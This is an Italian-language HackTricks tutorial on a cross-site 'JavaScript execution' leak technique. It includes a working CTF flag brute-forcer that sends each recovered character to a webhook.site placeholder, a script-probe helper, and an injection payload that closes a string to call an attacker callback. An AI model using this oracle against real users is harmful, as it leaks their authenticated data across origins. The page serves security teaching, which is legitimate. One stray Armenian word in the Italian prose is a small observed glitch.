JavaScript Execution XS Leak

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Questo primitive di XS-Search trasforma se una response cross-origin esegue come JavaScript in un Boolean oracle.

La configurazione tipica è:

  • Positive state: il target restituisce testo controllato dall’attaccante o contenuto sensibile che non esegue JavaScript controllato dall’attaccante.
  • Negative state: il target riflette testo controllato dall’attaccante in un punto che viene interpretato come JavaScript valido, così l’attaccante può forzare una callback come window.parent.foo().
  • Leak: caricare il target con un classico <script src> e osservare se la callback viene eseguita.

In sostanza, questo è un execution oracle, non un timing oracle. L’unica cosa di cui l’attaccante ha bisogno è una cross-origin script inclusion che si comporta in modo diverso a seconda del branch dipendente dal secret.

Per il contesto generale sugli XS-Leaks, vedi:

HackTricks

When This Works

Questa tecnica è pratica quando tutte le seguenti condizioni sono vere:

  • La vittima è autenticata verso l’origin target.
  • L’attaccante può far richiedere al browser della vittima uno classic script dall’origin target.
  • Un branch restituisce contenuto che è JavaScript valido controllato dall’attaccante.
  • L’altro branch restituisce contenuto che non esegue la callback dell’attaccante.

In pratica, i casi più facili sono gli endpoint di search/debug che:

  • restituiscono testo controllato dall’attaccante quando un guess è errato
  • restituiscono un body diverso quando il guess è corretto
  • permettono all’attaccante di scegliere un parametro come callback, hint, msg, o un prefix/suffix riflesso

Basic Example

Codice lato server che proverà ${guess} come prefisso della flag:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Pagina principale che genera iframe verso la precedente pagina /guessing per testare ogni possibilità:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

La logica dell’attaccante è:

  1. Inizia ogni candidate come “good”.
  2. Carica la risposta target come uno script.
  3. Se la risposta esegue window.parent.foo(), segna il candidate come sbagliato.
  4. Se nessun callback viene eseguito, mantieni il candidate e continua il brute-forcing.

Minimal Probe Pattern

In molti target reali, un iframe non è necessario. È sufficiente un’inclusione diretta di uno script:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Se il ramo “wrong guess” riflette miss(), allora:

  • probe(...) === false significa che il callback è stato eseguito o che il caricamento è fallito
  • probe(...) === true significa che lo script è stato caricato senza eseguire il callback dell’attaccante

Per affidabilità, usa un fresh script element per probe e aggiungi un cache-buster come ?r=${crypto.randomUUID()}.

Modern Caveats

It must be a classic script

Questo primitive si basa sul browser che recupera la risorsa come classic script. Un semplice <script src=...> senza crossorigin viene recuperato in modalità no-cors, ed è proprio per questo che questo vecchio pattern è ancora utile cross-origin.

Non passare a type="module" per questa tecnica:

  • i cross-origin module scripts richiedono CORS
  • molti target che sono includibili come classic scripts semplicemente falliranno come module

MIME type and nosniff decide whether the payload executes

I browser attuali sono più severi delle vecchie writeup. Se il target imposta X-Content-Type-Options: nosniff, il browser bloccherà una risposta script il cui MIME type non è un JavaScript MIME type.

Questo significa che questo oracle spesso dipende da:

  • se il target restituisce application/javascript / text/javascript
  • se il target restituisce text/plain, text/html, o JSON
  • se nosniff è presente

Questo è anche il motivo per cui alcuni endpoint danno un leak solo in un ramo: una risposta viene accettata come script, mentre l’altro ramo viene bloccato o parsato in modo diverso.

CORB can change the observable result

CORB aggiunge un altro ramo da considerare. Se una risposta è considerata CORB-protected, Chromium può trasformarla in una empty valid script response invece di mostrare un parse failure. Quindi per alcuni endpoint:

  • uno stato attiva un normale script parse / callback
  • un altro stato diventa uno script vuoto e viene eseguito solo onload

Questo è comunque un oracle utile, ma il segnale ora è callback vs no callback oppure onload vs onerror, non solo “JavaScript executed or not”.

CSP can kill the attacker-controlled branch

Una CSP restrittiva sulla target response può rompere questo primitive quando il ramo riflesso non è più JavaScript eseguibile. Le writeup pubbliche di challenge XS-Leak dal 2022 al 2024 si basano ripetutamente su questo dettaglio:

  • script-src 'none' può costringere gli attaccanti a deviare da un oracle di esecuzione diretto
  • le interazioni CSP/SRI/CSP-report possono comunque creare other leak oracles, ma appartengono a pagine/tecniche diverse

Quindi, quando l’ovvio trucco del callback non funziona, controlla gli header della risposta prima di scartare l’endpoint.

Useful Variants

Callback-parameter endpoints

Il target più comodo è un endpoint in stile JSONP o debug che accetta un parametro come:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Se il ramo “miss” riflette quel valore verbatim in JavaScript eseguibile mentre il ramo “hit” restituisce contenuto diverso, ottieni un oracle Boolean diretto senza misurazioni di timing.

Syntax-preserving prefixes and suffixes

A volte non puoi controllare completamente il body della risposta, ma puoi comunque far eseguire il ramo negativo:

  • chiudi la stringa o l’argomento della funzione corrente
  • inserisci il callback
  • commenta i byte finali

Per esempio, un ramo riflesso come:

showResult("<attacker>");

può spesso essere trasformato in:

showResult("");window.parent.foo();//");

Se il ramo positivo non riflette quel payload, la callback diventa l’oracle.

Combinare con oracle basati su eventi

Se l’endpoint è instabile tra browser, combina l’oracle di esecuzione con i generic script load events già trattati nella sezione index:

  • callback fired
  • onload
  • onerror

Questo è հատկապես utile quando un ramo produce JavaScript valido e un altro ramo produce comportamento MIME / CORB / CSP bloccato.

Pagine correlate:

Note pratiche

  • Preferisci un bit per request e mantieni semplice il side effect della callback.
  • Se provi molti candidati, rimuovi gli elementi <script> inseriti in precedenza oppure isola ogni tentativo in un fresh iframe.
  • Il comportamento di cache e service worker può avvelenare l’oracle; usa cache-busting.
  • Questo primitive è più forte quando il ramo negativo è JavaScript completamente controllato dall’attaccante. Se ottieni solo una reflection parziale, l’exploit diventa un problema di payload-shaping invece che un problema di XS-Search.

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks